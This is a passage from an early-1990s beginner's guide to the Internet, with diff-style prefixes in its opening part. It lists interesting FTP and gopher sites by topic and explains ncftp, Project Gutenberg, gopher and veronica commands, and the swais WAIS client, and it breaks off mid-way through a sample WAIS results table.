(or some +variant) that gives basic information about the system. Then, most +directories will either have a similar README file or will have an index +that does give brief descriptions of each file. These are usually the +first file in a directory and often are in the form 00INDEX.TXT. Use the +ftp command to get this file. You can then scan it online or download it +to see which files you might be interested in. + +Another file you will frequently see is called ls-lR.Z. This contains a +listing of every file on the system, but without any descriptions (the +name comes from the Unix command ls -lR, which gives you a listing of all +the files in all your directories). The Z at the end means the file has +been compressed, which means you will have to use a Unix un-compress +command before you can read the file. + +And finally, we have those system administrators who almost seem to +delight in making things difficult -- the ones who take full advantage of +Unix's ability to create absurdly long file names. On some FTP sites, +you will see file names as long as 80 characters or so, full of capital +letters, underscores and every other orthographic device that will make +it almost impossible for you to type the file name correctly when you try +to get it. Your secret weapon here is the mget command. Just type mget, +a space, and the first five or six letters of the file name, followed by +an asterisk, for example: + + mget This_F* + +The FTP site will ask you if you want to get the file that begins with +that name. If there are several files that start that way, you might have +to answer 'n' a few times, but it's still easier than trying to recreate +a ludicrously long file name. + + +7.6 SOME INTERESTING FTP SITES + + +What follows is a list of some interesting ftp sites, arranged by +category. With hundreds of ftp sites now on the Net, however, this list +barely scratches the surface of what is available. Liberal use of archie +will help you find specific files. + +The times listed for each site are in Eastern time and represent the +periods during which it is considered acceptable to connect. + +AMIGA + + ftp.uu.net Has Amiga programs in the systems/amiga directory. + Available 24 hours. + + wuarchive.wustl.edu. Look in the pub/aminet directory. + Available 24 hours. + +ATARI + + atari.archive.umich.edu Find almost all the Atari files you'll ever +need, in the atari directory. + 7 p.m. - 7 a.m. + +BOOKS + + rtfm.mit.edu The pub/usenet/rec.arts.books directories has +reading lists for various authors as well as lists of recommended +bookstores in different cities. Unfortunately, this site uses incredibly +long file names -- so long they may scroll off the end of your screen if +you are using an MS-DOS or certain other computers. Even if you want +just one of the files, it probably makes more sense to use mget than get. +This way, you will be asked on each file whether you want to get it; +otherwise you may wind up frustrated because the system will keep telling +you the file you want doesn't exist (since you may miss the end of its +name due to the scrolling problem). + 6 p.m. - 6 a.m. + + mrcnext.cso.uiuc.edu Project Gutenberg is an effort to translate +paper texts into electronic form. Already available are more than 100 +titles, from works by Lewis Carrol to Mark Twain; from "A Tale of Two +Cities" to "Son of Tarzan." Look in the /etext/etext92 and +/etext/etext93 directories. + 6 p.m. - 9 a.m. + +COMPUTER ETHICS + + ftp.eff.org The home of the Electronic Frontier Foundation. Use cd +to get to the pub directory and then look in the EFF, SJG and CPSR +directories for documents on the EFF itself and various issues related to +the Net, ethics and the law. + Available 24 hours. + +CONSUMER + + rtfm.mit.edu The pub/usenet/misc.consumers directory has +documents related to credit. The pub/usenet/rec.travel.air directory +will tell you how to deal with airline reservation clerks, find the best +prices on seats, etc. See under Books for a caveat in using this ftp +site. + 6 p.m. - 6 a.m. + +COOKING + + wuarchive.wustl.edu Look for recipes and recipe directories in the +usenet/rec.food.cooking/recipes directory. + + gatekeeper.dec.com Recipes are in the pub/recipes directory. + +ECONOMICS + + neeedc.umesbs.maine.edu The Federal Reserve Bank of Boston uses +this site (yes, there are three 'e's in "neeedc") to house all sorts of +data on the New England economy. Many files contain 20 years or more of +information, usually in forms that are easily adaptable to spreadsheet or +database files. Look in the frbb directory. + 6 p.m. - 6 a.m. + + town.hall.org. Look in the edgar directory for the beginnings of a +system to distribute annual reports and other data publicly held +companies are required to file with the Securities and Exchange +Commission. The other/fed directory holds various statistical files from +the Federal Reserve Board. + +FTP + + iraun1.ira.uka.de Run by the computer-science department of the +University of Karlsruhe in Germany, this site offers lists of anonymous- +FTP sites both internationally (in the anon.ftp.sites directory) and in +Germany (in anon.ftp.sites.DE). + 12 p.m. to 2 a.m. + + ftp.netcom.com The pub/profiles directory has lists of ftp sites. + +GOVERNMENT + + ncsuvm.cc.ncsu.edu The SENATE directory contains bibliographic +records of U.S. Senate hearings and documents for the past several +Congresses. Get the file README.DOS9111, which will explain the cryptic +file names. + 6 p.m. - 6 a.m. + + nptn.org The General Accounting Office is the investigative wing of +Congress. The pub/e.texts/gao.reports directory represents an experiment +by the agency to use ftp to distribute its reports. + Available 24 hours. + + info.umd.edu The info/Government/US/Whitehouse directory has copies +of press releases and other documents from the Clinton administration. + 6 p.m. - 6 a.m. + + leginfo.public.ca.gov This is a repository of legislative +calendars, bills and other information related to state government in +California. + Available 24 hours. + + whitehouse.gov Look for copies of presidential position papers, +transcripts of press conferences and related information here. + Available 24 hours. + + See also under law. + +HISTORY + + nptn.org This site has a large, growing collecting of text files. +In the pub/e.texts/freedom.shrine directory, you'll find copies of +important historical documents, from the Magna Carta to the Declaration +of Independence and the Emancipation Proclamation. + Available 24 hours. + + ra.msstate.edu Mississippi State maintains an eclectic database of +historical documents, detailing everything from Attilla's battle strategy +to songs of soldiers in Vietnam, in the docs/history directory. + 6 p.m. - 6 a.m. + + seq1.loc.gov The Library of Congress has acquired numerous +documents from the former Soviet government and has translated many of +them into English. In the pub/soviet.archive/text.english directory, +you'll find everything from telegrams from Lenin ordering the death of +peasants to Khrushchev's response to Kennedy during the Cuban missile +crisis. The README file in the pub/soviet.archive directory provides an +index to the documents. + 6 p.m. - 6 a.m. + +HONG KONG + + nok.lcs.mit.edu GIF pictures of Hong Kong pop stars, buildings +and vistas are available in the pub/hongkong/HKPA directory. + 6 p.m. - 6 a.m. + +INTERNET + + ftp.eff.org The pub/Net_info directory has a number of sub- +directories containing various Internet resources guides and information +files, including the latest online version of EFF's Guide to the Internet. + Available 24 hours. + + nic.ddn.mil The internet-drafts directory contains information about +Internet, while the scc directory holds network security bulletins. + 6 p.m. - 6 a.m. + +LAW + + info.umd.edu U.S. Supreme Court decisions from 1989 to the present +are stored in the info/Government/US/SupremeCt directory. Each term has +a separate directory (for example, term1992). Get the README and Index +files to help decipher the case numbers. + 6 p.m. - 6 a.m. + + ftp.uu.net Supreme Court decisions are in the court-opinions +directory. You'll want to get the index file, which tells you which file +numbers go with which file names. The decisions come in WordPerfect and +Atex format only. + Available 24 hours a day. + +LIBRARIES + + ftp.unt.edu The library directory contains numerous lists of +libraries with computerized card catalogs accessible through the Net. + +LITERATURE + + nptn.org In the pub/e.texts/gutenberg/etext91 and etext92 +directories, you can get copies of Aesop's Fables, works by Lewis Carroll +and other works of literature, as well as the Book of Mormon. + Available 24 hours. + + world.std.com The obi directory has everything from online fables +to accounts of Hiroshima survivors. + 6 p.m. - 6 a.m. + +MACINTOSH + + sumex-aim.stanford.edu This is the premier site for Macintosh +software. After you log in, switch to the info-mac directory, which will +bring up a long series of sub-directories of virtually every free and +shareware Mac program you could ever want. + 9 p.m. - 9 a.m. + + ftp.uu.net You'll find lots of Macintosh programs in the +systems/mac/simtel20 directory. + Available 24 hours a day. + +MOVIE REVIEWS + + lcs.mit.edu Look in the movie-reviews directory. + 6 p.m. - 6 a.m. + +MS-DOS + + wuarchive.wustl.edu This carries one of the world's largest +collections of MS-DOS software. The files are actually copied, or +"mirrored" from a computer at the U.S. Army's White Sands Missile Range +(which uses ftp software that is totally incomprehensible). It also +carries large collections of Macintosh, Windows, Atari, Amiga, Unix, OS9, +CP/M and Apple II software. Look in the mirrors and systems directories. +The gif directory contains a large number of GIF graphics images. + Accessible 24 hours. + + ftp.uu.net Look for MS-DOS programs and files in the +systems/msdos/simtel20 directory. + Available 24 hours a day. + +MUSIC + + cs.uwp.edu The pub/music directory has everything from lyrics of + contemporary songs to recommended CDs of baroque music. It's a little + different - and easier to navigate - than other ftp sites. File and + directory names are on the left, while on the right, you'll find a brief + description of the file or directory. + + potemkin.cs.pdx.edu The Bob Dylan archive. Interviews, notes, +year-by-year accounts of his life and more, in the pub/dylan directory. + 9 p.m. - 9 a.m. + + ftp.nevada.edu Guitar chords for contemporary songs are in the +pub/guitar directory, in subdirectories organized by group or artist. + +NATIVE AMERICANS + + pines.hsu.edu Home of IndianNet, this site contains a variety +of directories and files related to Indians and Eskimos, including +federal census data, research reports and a tribal profiles database. +Look in the pub and indian directories. + +PETS + + rtfm.mit.edu The pub/usenet/rec.pets.dogs and +pub/usenet.rec.pets.cats directories have documents on the respective +animals. See under Books for a caveat in using this ftp site. + 6 p.m. - 6 a.m. + +PICTURES + + wuarchiv.wustl.edu The graphics/gif directory contains hundreds of +GIF photographic and drawing images, from cartoons to cars, space images +to pop stars. These are arranged in a long series of subdirectories. + +PHOTOGRAPHY + + ftp.nevada.edu Photolog is an online digest of photography news, in +the pub/photo directory. + +RELIGION + + nptn.org In the pub/e.texts/religion directory, you'll find +subdirectories for chapters and books of both the Bible and the Koran. + Available 24 hours. + +SCIENCE FICTION + + elbereth.rutgers.edu In the pub/sfl directory, you'll find plot +summaries for various science-fiction TV shows, including Star Trek (not +only the original and Next Generation shows, but the cartoon version as +well), Lost in Space, Battlestar Galactica, the Twilight Zone, the +Prisoner and Doctor Who. There are also lists of various things related +to science fiction and an online science-fiction fanzine. + 6 p.m. - 6 a.m. + +SEX + + rtfm.mit.edu Look in the pub/usenet/alt.sex and +pub/usenet/alt.sex.wizards directories for documents related to all +facets of sex. See under Books for a caveat in using this ftp site. + 6 p.m. - 6 a.m. + +SHAKESPEARE + + atari.archive.umich.edu The shakespeare directory contains most of +the Bard's works. A number of other sites have his works as well, but +generally as one huge mega-file. This site breaks them down into various +categories (comedies, poetry, histories, etc.) so that you can download +individual plays or sonnets. + +SPACE + + ames.arc.nasa.gov Stores text files about space and the history of +the NASA space program in the pub/SPACE subdirectory. In the pub/GIF +and pub/SPACE/GIF directories, you'll find astronomy- and NASA-related +GIF files, including pictures of planets, satellites and other celestial +objects. + 9 p.m. - 9 a.m. + +TV + + coe.montana.edu The pub/TV/Guides directory has histories and other +information about dozens of TV shows. Only two anonymous-ftp log-ins are +allowed at a time, so you might have to try more than once to get in. + 8 p.m. - 8 a.m. + + ftp.cs.widener.edu The pub/simpsons directory has more files than + anybody could possibly need about Bart and family. The pub/strek + directory has files about the original and Next Generation shows as well + as the movies. + See also under Science Fiction. + +TRAVEL + + nic.stolaf.edu Before you take that next overseas trip, you might +want to see whether the State Department has issued any kind of advisory +for the countries on your itinerary. The advisories, which cover +everything from hurricane damage to civil war, are in the pub/travel- +advisories/advisories directory, arranged by country. + 7 p.m. - 7 a.m. + +USENET + + ftp.uu.net In the usenet directory, you'll find "frequently asked +questions" files, copied from rtfm.mit.edu. The communications +directory holds programs that let MS-DOS users connect directly with UUCP +sites. In the info directory, you'll find information about ftp and ftp +sites. The inet directory contains information about Internet. + Available 24 hours. + + rtfm.mit.edu This site contains all available "frequently +asked questions" files for Usenet newsgroups in the pub/usenet directory. +See under Books for a caveat in using this ftp site. + 6 p.m. - 6 a.m. + +VIRUSES + + ftp.unt.edu The antivirus directory has anti-virus programs for MS- +DOS and Macintosh computers. + 7 p.m. - 7 a.m. + +WEATHER + + wuarchive.wustl.edu The /multimedia/images/wx directory contains GIF +weather images of North America. Files are updated hourly and take this +general form: CV100222. The first two letters tell the type of file: CV +means it is a visible-light photo taken by a weather satellite. CI +images are similar, but use infrared light. Both these are in black and +white. Files that begin with SA are color radar maps of the U.S. that +show severe weather patterns but also fronts and temperatures in major +cities. The numbers indicate the date and time (in GMT - five hours +ahead of EST) of the image: the first two numbers represent the month, +the next two the date, the last two the hour. The file WXKEY.GIF explains +the various symbols in SA files. + + +7.7 ncftp -- NOW YOU TELL ME! + + +If you're lucky, the people who run your host system or public-access +site have installed a program called ncftp, which takes some of the edges +off the ftp process. + +For starters, when you use ncftp instead of plain old ftp, you no longer +have to worry about misspelling "anonymous" when you connect. The +program does it for you. And once you're in, instead of getting line +after line filled with dashes, x's, r's and d's, you only get listings of +the files or directories themselves (if you're used to MS-DOS, the +display you get will be very similar to that produced by the dir/w +command). The program even creates a list of the ftp sites you've used +most recently, so you can pick from that list, instead of trying to +remember some incredibly complex ftp site name. + +Launching the program, assuming your site has it, is easy. At the +command prompt, type + + ncftp sitename + +where "sitename" is the site you want to reach (alternately, you could +type just ncftp and then use its open command). Once connected, you can +use the same ftp commands you've become used to, such as ls, get and +mget. Entries that end in a / are directories to which you can switch +with cd; others are files you can get. A couple of useful ncftp commands +include type, which lets you change the type of file transfer (from ASCII +to binary for example) and size, which lets you see how large a file is +before you get it, for example + + size declaration.txt + +would tell you how large the declaration.txt file is before you get it. +When you say "bye" to disconnect from a site, ncftp remembers the last +directory you were in, so that the next time you connect to the site, you +are put back into that directory automatically. If you type + + help + +you'll get a list of files you can read to extend the power of the +program even further. + + +7.8 PROJECT GUTENBERG -- ELECTRONIC BOOKS + +Project Gutenberg, coordinated by Michael Hart, has a fairly ambitious +goal: to make more than 10,000 books and other documents available +electronically by the year 2001. In 1993, the project uploaded an +average of four books a month to its ftp sites; in 1994, they hope to +double the pace. + +Begun in 1971, the project already maintains a "library" of hundreds of +books and stories, from Aesop's Fables to "Through the Looking Glass" +available for the taking. It also has a growing number of current- +affairs documents, such as the CIA's annual "World Factbook" almanac. + +Besides nptn.org, Project Gutenberg texts can be retrieved from +mrcnext.cso.uiuc.edu in the etext directory. + + +7.9 WHEN THINGS GO WRONG + + +* You get a "host unavailable" message. The ftp site is down for some +reason. + +Try again later. + +* You get a "host unknown" message. + +Check your spelling of the site name. + +* You misspell "anonymous" when logging in and get a message telling you +a password is required for whatever you typed in. + +Type something in, hit enter, type bye, hit enter, and try again. +Alternately, try typing "ftp" instead of "anonymous." It will work on a +surprising number of sites. Or just use ncftp, if your site has it, and +never worry about this again. + +*You connect to a site, but then the site promptly disconnects you. + +Try again in a few minutes. As the internet becomes more popular, more +and more sites are being overloaded by the demand. + + +7.10 FYI + +Liberal use of archie will help you find specific files or documents. +For information on new or interesting ftp sites, try the comp.archives +newsgroup on Usenet. You can also look in the comp.misc, +comp.sources.wanted or news.answers newsgroups on Usenet for lists of ftp +sites posted every month by Tom Czarnik and Jon Granrose. + +The comp.archives newsgroup carries news of new ftp sites and interesting +new files on existing sites. + +In the comp.virus newsgroup on Usenet, look for postings that list ftp +sites carrying anti-viral software for Amiga, MS-DOS, Macintosh, Atari +and other computers. + +The comp.sys.ibm.pc.digest and comp.sys.mac.digest newsgroups provide +information about new MS-DOS and Macintosh programs as well as answers to +questions from users of those computers. + + + + + + +Chapter 8: GOPHERS AND WAISs + + + +8.1 GOPHERS + + +Even with tools like Hytelnet and archie, telnet and ftp can still be +frustrating. There are all those telnet and ftp addresses to remember. +Telnet services often have their own unique commands. And, oh, those +weird directory and file names! + +But now that the Net has become a rich repository of information, people +are developing ways to make it far easier to find and retrieve +information and files. Gophers and Wide-Area Information Servers (WAISs) +are two services that are helping to make the internet far easier to +use. + +Both gophers and WAISs essentially take a request for information and +then scan the Net for it, so you don't have to. Both also work through +menus -- instead of typing in some long sequence of characters, you just +move a cursor to your choice and hit enter. Gophers even let you select +files and programs from ftp sites this way. + +Let's first look at gophers (named for the official mascot of thE +University of Minnesota, where the system was developed). Most +public-access sites now have gophers online. To use one, type + + gopher + +at the command prompt and hit enter. If you know your site does not have +a gopher, or if nothing happens when you type that, telnet to + + consultant.micro.umn.edu + +At the login prompt, type + + gopher + +and hit enter. You'll be asked what type of terminal emulation you're +using, after which you'll see something like this: + + Internet Gopher Information Client v1.03 + + Root gopher server: gopher.micro.umn.edu + + --> 1. Information About Gopher/ + 2. Computer Information/ + 3. Discussion Groups/ + 4. Fun & Games/ + 5. Internet file server (ftp) sites/ + 6. Libraries/ + 7. News/ + 8. Other Gopher and Information Servers/ + 9. Phone Books/ + 10. Search lots of places at the U of M + 11. University of Minnesota Campus Information/ + +Press ? for Help, q to Quit, u to go up a menu Page: 1/1 + +Assuming you're using VT100 or some other VT emulation, you'll be able to +move among the choices with your up and down arrow keys. When you have +your cursor on an entry that looks interesting, just hit enter, and +you'll either get a new menu of choices, a database entry form, or a text +file, depending on what the menu entry is linked to (more on how to tell +which you'll get in a moment). + +Gophers are great for exploring the resources of the Net. Just keep +making choices to see what pops up. Play with it; see where it takes +you. Some choices will be documents. When you read one of these and +either come to the end or hit a lower-case q to quit reading it, you'll +be given the choice of saving a copy to your home directory or e-mailing +it to yourself. Other choices are simple databases that let you enter a +word to look for in a particular database. To get back to where you +started on a gopher, hit your u key at a menu prompt, which will move you +back "up" through the gopher menu structure (much like "cd .." in ftp). + +Notice that one of your choices above is "Internet file server (ftp) +sites." Choose this, and you'll be connected to a modified archie +program -- an archie with a difference. When you search for a file +through a gopher archie, you'll get a menu of sites that have the file +you're looking for, just as with the old archie. Only now, instead of +having to write down or remember an ftp address and directory, all you +have to do is position the cursor next to one of the numbers in the menu +and hit enter. You'll be connected to the ftp site, from which you can +then choose the file you want. This time, move the cursor to the file +you want and hit a lower-case s. You'll be asked for a name in your home +directory to use for the file, after which the file will be copied to +your home system. Unfortunately, this file-transfer process does not yet +work with all public-access sites for computer programs and compressed +files. If it doesn't work with yours, you'll have to get the file the +old-fashioned way, via anonymous ftp. + +In addition to ftp sites, there are hundreds of databases and libraries +around the world accessible through gophers. There is not yet a common +gopher interface for library catalogs, so be prepared to follow the +online directions more closely when you use gopher to connect to one. + +Gopher menu entries that end in a / are gateways to another menu of +options. Entries that end in a period are text, graphics or program +files, which you can retrieve to your home directory (or e-mail to +yourself or to somebody else). A line that ends in or +represents a request you can make to a database for information. The +difference is that entries call up one-line interfaces in which you +can search for a keyword or words, while brings up an electronic +form with several fields for you to fill out (you might see this in +online "White Pages" directories at colleges). + +Gophers actually let you perform some relatively sophisticated Boolean +searches. For example, if you want to search only for files that contain +the words "MS-DOS" and "Macintosh," you'd type + + ms-dos and macintosh + +(gophers are not case-sensitive) in the keyword field. Alternately, if +you want to get a list of files that mention either "MS-DOS" or +"Macintosh," you'd type + + ms-dos or macintosh + + +8.2 BURROWING DEEPER + + +As fascinating as it can be to explore "gopherspace," you might one day +want to quickly retrieve some information or a file. Or you might grow +tired of calling up endless menus to get to the one you want. +Fortunately, there are ways to make even gophers easier to use. + +One is with archie's friend, veronica (it allegedly is an acronym, but +don't believe that for a second), who does for gopherspace what archie +does for ftp sites. + +In most gophers, you'll find veronica by selecting "Other gopher and +information services" at the main menu and then "Searching through +gopherspace using veronica." Select this and you'll get something like +this: + + Internet Gopher Information Client v1.1 + + Search titles in Gopherspace using veronica + + --> 1. . + 2. FAQ: Frequently-Asked Questions about veronica (1993/08/23). + 3. How to compose veronica queries (NEW June 24) READ ME!!. + 4. Search Gopher Directory Titles at PSINet + 5. Search Gopher Directory Titles at SUNET + 6. Search Gopher Directory Titles at U. of Manitoba + 7. Search Gopher Directory Titles at University of Cologne + 8. Search gopherspace at PSINet + 9. Search gopherspace at SUNET + 10. Search gopherspace at U. of Manitoba + 11. Search gopherspace at University of Cologne + + +Press ? for Help, q to Quit, u to go up a menu Page: 1/1 + +A few choices there! First, the difference between searching directory +titles and just plain ol' gopherspace. If you already know the sort of +directory you're looking for (say a directory containing MS-DOS +programs), do a directory-title search. But if you're not sure what kind +of directory your information might be in, then do a general gopherspace +search. In general, it doesn't matter which of the particular veronicas +you use -- they should all be able to produce the same results. The +reason there is more than one is because the Internet has become so +popular that only one veronica (or one gopher or one of almost anything) +would quickly be overwhelmed by all the information requests from around +the world. + +You can use veronica to search for almost anything. Want to find museums +that might have online displays from their exhibits? Try searching for +"museum." Looking for a copy of the Declaration of Independence? Try +"declaration." + +In many cases, your search will bring up a new gopher menu of choices to +try. + +Say you want to impress those guests coming over for dinner on Friday by +cooking cherries flambe. If you were to call up veronica and type in +"flambe" after calling up veronica, you would soon get a menu listing +several flambe recipes, including one called "dessert flambe." Put your +cursor on that line of the menu and hit enter, and you'll find it's a +menu for cherries flambe. Then hit your q key to quit, and gopher will +ask you if you want to save the file in your home directory on your +public-access site or whether you want to e-mail it somewhere. + +As you can see, you can use veronica as an alternative to archie, which, +because of the Internet's growing popularity, seems to take longer and +longer to work. + +In addition to archie and veronica, we now also have jugheads (no bettys +yet, though). These work the same as veronicas, but their searches are +limited to the specific gopher systems on which they reside. + +If there are particular gopher resources you use frequently, there are a +couple of ways to get to them even more directly. + +One is to use gopher in a manner similar to the way you can use telnet. +If you know a particular gopher's Internet address (often the same as its +telnet or ftp address), you can connect to it directly, rather than going +through menus. For example, say you want to use the gopher at +info.umd.edu. If your public-access site has a gopher system installed, +type this + + gopher info.umd.edu + +at your command prompt and you'll be connected. + +But even that can get tedious if there are several gophers you use +frequently. That's where bookmarks come in. Gophers let you create a +list of your favorite gopher sites and even database queries. Then, +instead of digging ever deeper into the gopher directory structure, you +just call up your bookmark list and select the service you want. + +To create a bookmark for a particular gopher site, first call up gopher. +Then go through all the gopher menus until you get to the menu you want. +Type a capital A. You'll be given a suggested name for the bookmark enty, +which you can change if you want by backspacing over the suggestion and +typing in your own. When done, hit enter. Now, whenever you're in +gopherspace and want to zip back to that particular gopher service, just +hit your V key (upper- or lower-case; in this instance, gopher doesn't +care) anywhere within gopher. This will bring up a list of your +bookmarks. Move to the one you want and hit enter, and you'll be +connected. + +Using a capital A is also good for saving particular database or veronica +queries that you use frequently (for example, searching for news stories +on a particular topic if your public-access site maintains an indexed +archive of wire-service news). + +Instead of a capital A, you can also hit a lower-case a. This will bring +you to the particular line within a menu, rather than show you the entire +menu. + +If you ever want to delete a bookmark, hit V within gopher, select the +item you want to get rid of, and then hit your D key. + +One more hint: + +If you want to find the address of a particular gopher service, hit your += key after you've highlighted its entry in a gopher menu. You'll get +back a couple of lines, most of which will be technicalese of no +immediate value to most folks, but some of which will consist of the +site's address. + + +8.3 GOPHER COMMANDS + + +a Add a line in a gopher menu to your bookmark list. + +A Add an entire gopher menu or a database query to your bookmark + list. + +d Delete an entry from your bookmark list (you have to hit v + first). + +q Quit, or exit, a gopher. You'll be asked if you really want to. + +Q Quit, or exit, a gopher without being asked if you're sure. + +s Save a highlighted file to your home directory. + +u Move back up a gopher menu structure + +v View your bookmark list. + += Get information on the originating site of a gopher entry. + +> Move ahead one screen in a gopher menu. + +< Move back one screen in a gopher menu. + +8.4 SOME INTERESTING GOPHERS + +There are now hundreds of gopher sites around the world. What follows is +a list of some of them. Assuming your site has a gopher "client" +installed, you can reach them by typing + + gopher sitename + +at your command prompt. Can't find what you're looking for? Remember to +use veronica to look up categories and topics! + + +AGRICULTURE + +cyfer.esusda.gov More agricultural statistics and regulations + most people will ever need. + +usda.mannlib.cornell.edu More than 140 different types of agricultural + data, most in Lotus 1-2-3 spreadsheet format. + +ANIMALS + +saimiri.primate.wisc.edu Information on primates and animal-welfare + laws. + +ARCHITECTURE + +libra.arch.umich.edu Maintains online exhibits of a variety of + architectural images. + +ART + +marvel.loc.gov The Library of Congress runs several online + "galleries" of images from exhibits at the + library. Many of these pictures, in GIF or JPEG + format, are HUGE, so be careful what you get + first. Exhibits include works of art from the + Vatican, copies of once secret Soviet documents + and pictures of artifacts related to Columbus's + 1492 voyage. At the main menu, select 2 and then + "Exhibits." + +galaxy.ucr.edu The California Museum of Photography maintains its + own online galery here. At the main menu, + select "Campus Events," then "California + Museum of Photography," then "Network Ex- + hibitions." + +ASTRONOMY + +cast0.ast.cam.ac.uk A gopher devoted to astronomy, run by the + Institute of Astronomy and the Royal Greenwich + Observatory, Cambridge, England. + +CENSUS + +bigcat.missouri.edu You'll find detailed federal census data for + communities of more than 10,000 people, as well + as for states and counties here. At the main + menu, select "Reference and Information Center," + then "United States and Missouri Census + Information" and "United States Census." + +COMPUTERS + +wuarchive.wustl.edu Dozens of directories with software for all sorts + of computers. Most programs have to be + "un-compressed" before you can use them. + +sumex-aim.stanford.edu A similar type of system, with the emphasis on + Macintosh programs and files. + +DISABILITY + +val-dor.cc.buffalo.edu The Cornucopia of Disability Information carries + numerous information resources on disability issues + and links to other disability-related services. + +ENVIRONMENT + +ecosys.drdr.virginia.edu Copies of Environmental Protection Agency + factsheets on hundreds of chemicals, searchable + by keyword. Select "Education" and then + "Environmental fact sheets." + +envirolink.org Dozens of documents and files related to + environmental activism around the world. + +ENTOMOLOGY + +spider.ento.csiro.au All about creepy-crawly things, both the good + and the bad ones. + +GEOLOGY + +gopher.stolaf.edu Select "Internet Resources" and then "Weather + and geography" for information on recent + earthquakes. + +GOVERNMENT + +marvel.loc.gov Run by the Library of Congress, this site + provides numerous resources, including access + to the Library card catalog and all manner of + information about the U.S. Congress. + +gopher.lib.umich.edu Wide variety of government information, from + Congressional committee assignments to economic + statistics and NAFTA information. + +ecix.doc.gov Information on conversion of military + installations to private uses. + +sunsite.unc.edu Copies of current and past federal budgets can + be found by selecting "Sunsite archives," then + "Politics," then "Sunsite politcal science + archives." + +wiretap.spies.com Documents related to Canadian government can be + found in the "Government docs" menu. + +stis.nih.gov Select the "Other U.S. government gopher + servers" for access to numerous other federal + gophers. + +HEALTH + +odie.niaid.nih.gov National Institutes of Health databases on AIDS, + in the "AIDS related information" menu. + +helix.nih.gov For National Cancer Institute factsheets on + different cancers, select "Health and clinical + information" and then "Cancernet information." + +nysernet.org Look for information on breast cancer in the + "Special Collections: Breast Cancer" menu. + +welchlink.welch.jhu.edu This is Johns Hopkins University's medical + gopher. + +HISTORY + + See under Art. + +INTERNET + +gopher.lib.umich.edu Home to several guides to Internet resources + in specific fields, for example, social + sciences. Select "What's New & Featured + Resources" and then "Clearinghouse." + +ISRAEL + +jerusalem1.datasrv.co.il This Israeli system offers numerous documents + on Israel and Jewish life. + +JAPAN + +gopher.ncc.go.jp Look in the "Japan information" menu for + documents related to Japanese life and culture. + +MUSIC + +mtv.com Run by Adam Curry, an MTV video jock, this site + has music news and Curry's daily "Cybersleaze" + celebrity report. + +NATURE + +ucmp1.berkeley.edu The University of California at Berkeley's + Museum of Paleontology runs several online + exhibits here. You can obtain GIF images of + plants and animals from the "Remote Nature" menu. + The "Origin of the Species" menu lets you read + Darwin's work or search it by keyword. + +SPORTS + +culine.colorado.edu Look up schedules for teams in various professional + sports leagues here, under "Professional Sports + Schedules." + +WEATHER + +wx.atmos.uiuc.edu Look up weather forecasts for North America or + bone up on your weather facts. + + +8.5 WIDE-AREA INFORMATION SERVERS + + +Now you know there are hundreds of databases and library catalogs +you can search through. But as you look, you begin to realize that each +seems to have its own unique method for searching. If you connect to +several, this can become a pain. Gophers reduce this problem somewhat. + +Wide-area information servers promise another way to zero in on +information hidden on the Net. In a WAIS, the user sees only one +interface -- the program worries about how to access information on +dozens, even hundreds, of different databases. You tell give a WAIS a +word and it scours the net looking for places where it's mentioned. You +get a menu of documents, each ranked according to how relevant to your +search the WAIS thinks it is. + +Like gophers, WAIS "client" programs can already be found on many public- +access Internet sites. If your system has a WAIS client, type + + swais + +at the command prompt and hit enter (the "s" stands for "simple"). If it +doesn't, telnet to bbs.oit.unc.edu, which is run by the University of +North Carolina At the "login:" prompt, type + + bbs + +and hit enter. You'll be asked to register and will then get a list of +"bulletins,'' which are various files explaining how the system works. +When done with those, hit your Q key and you'll get another menu. Hit 4 +for the "simple WAIS client," and you'll see something like this: + +SWAIS Source Selection Sources: 23# + Server Source Cost +001: [ archie.au] aarnet-resource-guide Free +002: [ archive.orst.edu] aeronautics Free +003: [nostromo.oes.orst.ed] agricultural-market-news Free +004: [sun-wais.oit.unc.edu] alt-sys-sun Free +005: [ archive.orst.edu] alt.drugs Free +006: [ wais.oit.unc.edu] alt.gopher Free +007: [sun-wais.oit.unc.edu] alt.sys.sun Free +008: [ wais.oit.unc.edu] alt.wais Free +009: [ archive.orst.edu] archie-orst.edu Free +010: [ archie.au] archie.au-amiga-readmes Free +011: [ archie.au] archie.au-ls-lRt Free +012: [ archie.au] archie.au-mac-readmes Free +013: [ archie.au] archie.au-pc-readmes Free +014: [ pc2.pc.maricopa.edu] ascd-education Free +015: [ archie.au] au-directory-of-servers Free +016: [ cirm2.univ-mrs.fr] bib-cirm Free +017: [ cmns-sun.think.com] bible Free +018: [ zenon.inria.fr] bibs-zenon-inria-fr Free + +Keywords: + + selects, w for keywords, arrows move, searches, q quits, or ? + +Each line represents a different database (the .au at the end of some of +them means they are in Australia; the .fr on the last line represents a +database in France). And this is just the first page! If you type a +capital K, you'll go to the next page (there are several pages). +Hitting a capital J will move you back a page. + +The first thing you want to do is tell the WAIS program which databases +you want searched. To select a database, move the cursor bar over the +line you want (using your down and up arrow keys) and hit your space bar. +An asterisk will appear next to the line number. Repeat this until +you've selected all of the databases you want searched. Then hit your W +key, after which you'll be prompted for the key words you're looking for. +You can type in an entire line of these words -- separate each with a +space, not a comma. + +Hit return, and the search begins. + +Let's say you're utterly fascinated with wheat. So you might select +agricultural-market-news to find its current world price. But you also +want to see if it has any religious implications, so you choose the Bible +and the Book of Mormon. What do you do with the stuff? Select recipes +and usenet-cookbook. Are there any recent Supreme Court decisions +involving the plant? Chose supreme-court. How about synonyms? Try roget- +thesaurus and just plain thesaurus. + +Now hit w and type in wheat. Hit enter, and the WAIS program begins its +search. As it looks, it tells you whether any of the databases are +offline, and if so, when they might be ready for a search. In about a +minute, the program tells you how many hits it's found. Then you get a +new menu, that looks something like this: + + +Keywords: + + # Score SourceTitleLines +001: [1000] (roget-thesaurus) #465. [results of comparison. 1] Di 19 +002: [1000] (roget-thesaurus) #609. Choice. -- N. choice, option; 36 +003: [1000] (roget-thesaurus) #465. [results of comparison. 1] Di 19 +004: [1000] (roget-thesaurus) #609. Choice. -- N. choice, option; 36 +005: [1000] (recipes) aem@mthvax Re: MONTHLY: Rec.Food.Recipes 425 +006: [1000] ( Book_of_Mormon) Mosiah 9:96 +007: [1000] ( Book_of_Mormon) 3 Nephi 18:185 +008: [1000] (agricultural-ma) Re: JO GR115, WEEKLY GRAIN82 +009: [ 822] (agricultural-ma) Re: WA CB351 PROSPECTIVE PLANTINGS 552 +010: [ 800] ( recipes) kms@apss.a Re: REQUEST: Wheat-free, Suga 35 +011: [ 750] (agricultural-ma) Re: WA CB101 CROP PRODUCTION258 +012: [ 643] (agricultural-ma) Re: SJ GR850 DAILY NAT GRN SUM72 +013: [ 